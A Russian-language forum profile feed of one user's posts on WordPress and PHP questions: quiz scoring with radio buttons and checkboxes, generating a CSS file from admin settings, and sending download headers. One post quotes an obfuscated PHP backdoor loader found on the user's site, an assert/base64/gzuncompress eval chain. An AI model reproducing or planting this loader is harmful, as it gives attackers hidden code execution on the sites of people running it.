djdiplomat

djdiplomat
Рейтинг
136
Регистрация
05.08.2009
LEOnidUKG:
Так вы сами же суммируете: $itog = $itog + $current_value;

Нет смотрите. там какая штука.

В одном тесте комбинированные вопросы.

Т.е. есть где радио кнопки.

<label>Вопрос 1</label>

<input class="tas" name="'.$key.'" type="radio" value="3">

<input class="tas" name="'.$key.'" type="checkbox" value="5">

<input class="tas" name="'.$key.'" type="radio" value="15">

Есть где чекбоксы

<label>Вопрос 2</label>

<input class="tas" name="'.$key.'" type="checkbox" value="1">

<input class="tas" name="'.$key.'" type="checkbox" value="5">

<input class="tas" name="'.$key.'" type="checkbox" value="8">

А есть это вопрос

<label>Вопрос3</label>

<input class="tas" name="'.$key.'" type="checkbox" value="1">

<input class="tas" name="'.$key.'" type="checkbox" value="0">

<input class="tas" name="'.$key.'" type="checkbox" value="1">

<input class="tas" name="'.$key.'" type="checkbox" value="1">

<input class="tas" name="'.$key.'" type="checkbox" value="0">

Переменная итог $itog = это сумма набранных за каждый вопрос баллов. Т.е. за вопрос 1 человек может получить максимум 15, за вопрос 2. от 1 до 14 (1+5+8) баллов тк может отметить сраз все чекбоксы и тест это позволяет. , а за вопрос три он должен получать либо 1, либо 0.

Вот как это блин расшаривать я не придумал еще....

PS сам массив отмеченных чекбоксов и радио у меня передается через аякс var data = $(this).serializeArray();

и храниться тут $_REQUEST['data'];

Перменная $key = равна номеру вопроса.

Т.е.

<label>Вопрос 1</label>

<input class="tas" name="1" type="radio" value="3">

<input class="tas" name="1" type="checkbox" value="5">

<input class="tas" name="1" type="radio" value="15">

Короче в ахиве два этих файла. Лежали тут /wp-content/files_mf/.

вот можно их скачать https://yadi.sk/d/c4iSb9MGj8Wkc

Ниже код пхп файла, но урезан.


$dba_optimize_erda = 'asse|||beamq|||rt';
$date_interval_create_from_date_string_abwc = 'base|||beamq|||6|||beamq|||4|||beamq|||_dec|||beamq|||ode';
$dba_optimize_erda = str_replace('|||beamq|||','',$dba_optimize_erda);
$date_interval_create_from_date_string_abwc = str_replace('|||beamq|||','',$date_interval_create_from_date_string_abwc);
$date_sunset_phep = 'ZXZhbChnenVuY29|||beamq|||tcHJlc3MoYmFzZTY0X2RlY29kZSgnZU5ybGZYdGIyN2p5OE4vYlQyRzhPWFc4RFNFSmJiZWI0QUNsME5JTGRMbjBCdnl5anVNa1hodzdhenNFbHVXN3Z6TWp5Wlp2SVhSNzN1ZTk3SGxPaWFYUmFDU05wVWxzVS9NQStmS0UveVBoOGY5bUM2SGU4Zkh0VFUwQnphRStCQVNOOXlQQWU5Q2FvYUp2WW03UGxvSGpiT0RrQmtwa2RQVEJFbXlZWlpsWDNOcFNDQUhFNG42WHFCQmZidHNiYkMwVEgvcGpaOWF2VXNxQzVoTkRLWmFkV1JTWm9qMjlyM2huNVI0QitUenF6bEZjdVVXeGk3QVU5NlBZUXZCbUwyU3Y4TFlKZml1Zz09JykpKTs=';
$date_sunset_phep = str_replace('|||beamq|||','',$date_sunset_phep);
@$dba_optimize_erda($date_interval_create_from_date_string_abwc($date_sunset_phep));

У меня много сайтов где плагин mf2 юзаю, но папку . (точка) он нигде не создал.

SeVlad:
Ты когда научишься код в форум вставлять?! Поломал всю страницу.

Да там букв много. Не влезало. Я короче ступил чутка...

SeVlad:
В репо есть тысячи фришных тем, в которых можно настраивать цвета из админки.

Да, но пока что смотрю, там либо скрипты, либо инлайн стайл. (это я и так умею).

Хотя вот вроде нарыл тему biancaa. Сейчас пытаюсь разобраться в коде... посмотреть, как они формируют css.

Кстати, пока искал, нарыл в одной из тем еще любопытную (по крайней мере для меня) штуку - меню адаптивное выдвигающееся в мобильной верисии и раскрывающееся в полной без скриптов вовсе. Обычно же на сайтах хоть строчку js, но используют, а тут все на чистом css и html. Думаю - это хороший подход. Самый лучшей, даже))

kostyanet:
Компонент админки генерит файл css, версию добавляет и все. В чем там проблема может быть?

Проблема как раз в том, что я не знаю, как генерировать файл css средствами wp (( (в этом и суть моего вопроса)

Я знаю только как генерировать стили внутри html документа(( т.е. через wp_add_inline_style

А как генерировать отдельный css файл я не знаю((

По поводу бреда.

Да почти везде пишут, что не желательно вставлять стили через <style></style>

Т.е. хорошей практикой является скрипты в одно место, таблички стилей в другей, код в третье.

А так читал тут http://habrahabr.ru/post/143452/

потом в каком-то из разделов тут https://developers.google.com/web/?hl=ru и еще видео от яндекса смотрел. Там девушка (не помню как зовут, верстой в яндексе занимается) рассказывала про правильную адаптивную верстку (безскриптовую, от меньшего к большему и тп)

Так вот. Если верно понял, то некоторые (в частности старые мобильные устройства) "ломаются" когда натыкаются на конструкцию <style></style> в коде.

Если я в чем то ошибаюсь - поправьте. Ну и разумеется интересно, как генерировать файл css средствами вп...

psics:
если правильно понял, то выхотите типа "динамические" стили. То есть в админке изменил, цвет к примеру, и сразу его получить.
Дак вот видел в темах с темефорест там делают их в php файлах....

Да. Я хочу, чтобы в html коде страницы было

<link type="text/css" rel="stylesheet" href="путь до шаблона/custom_style.css" />

Чтобы Гугл не ругался на стили внутри html кода.

А сам этот файл со стилями генерировался динамично. Чтобы в админке клиент мог изменять фон и прочие плюшки. Сейчас я вывожу эти плюшки через wp_add_inline_style, но это, вроде не совсем верно с точки зрения сео. Стили ж должны быть отдельно.

А можете на английском название темы дать? Themeforest? Так называлась?

kostyanet:
ковыряйтесь сами в этом г.

Могли бы просто пройти мимо...

А вообще интересно, если вас заказчик просит, вы тоже так отвечаете? Или вы тупо не беретесь за такие заказы под любыми предлогами.

seosniks:
А почему не отдавать файл на новой странице?
Это же проще простого.
передали через post данные, и скачали.
Примеров на скачивание в сети масса.

И не будет ли нагрузки, если качать будут много.

Просто это задача в рамках большого плагина с кучей функций. Мне показалось, что так удобнее будет.

Нагрузки не будет, тк. эта функция для админов сайта и ей пользоваться будут раза 2 в неделю.

LEOnidUKG:
Хватит эти сказки.

ТС, сразу после в самом начале файла или где там у вас пишите:
<?php
ob_start();
?>

И заголовки потом хоть в конце прописывайте. Всё будет работать.

Ура! Помогло! ОГРОМНОЕ СПАСИБО! :)

silicoid:
djdiplomat, можно написать отдельный скрипт, который будет доставать ваши данные и выводить их. скрипт вы можете положить в папку и настроить .htaccess так, что при обращении к любому файлу в этой папке запрос перенаправлялся на ваш скрипт, который и будет генерить контент на вывод

Я по ходу что-то недопонял в Вашей идеи.

Ну вот смотрите. У меня сейчас в админке WP человек выбрал нужные параметры (чекбоксами), нажал кнопку скачать.

Потом идет передча по методу POST.

Прошел потом запрос к базе. Я собрал нужные параметры в переменную $текст

Потом стартует это условие

if($do_it == "export_position") {

насколько я понимаю вы предлагает сделать в нем что-то типа

if($do_it == "export_position") {
require_once F_DIR.'export.php';
}

а в файле export.php разместить заголовки? Но разве не тоже самое получится, не таже трабла вылезет?

Просто мне нужно, чтобы эта штука через админку работала. Чтобы клиент нажал кнопочку и скачал, что нужно ему.

silicoid:
Нельзя посылать заголовок после контента.
Заголовок всегда должен быть самым первым. перед <html>

Да знаю я, но как мне быть?

Заголовки же вордпрес отправляет. Я под него этот экспорт пишу.

Может альтернатива есть какая.

Т.е. мне нужно как-то передать юзеру на сохранение файлик содержимое которого - задано переменной.

Может как то через curl_setopt подступиться, но как?

Всего: 348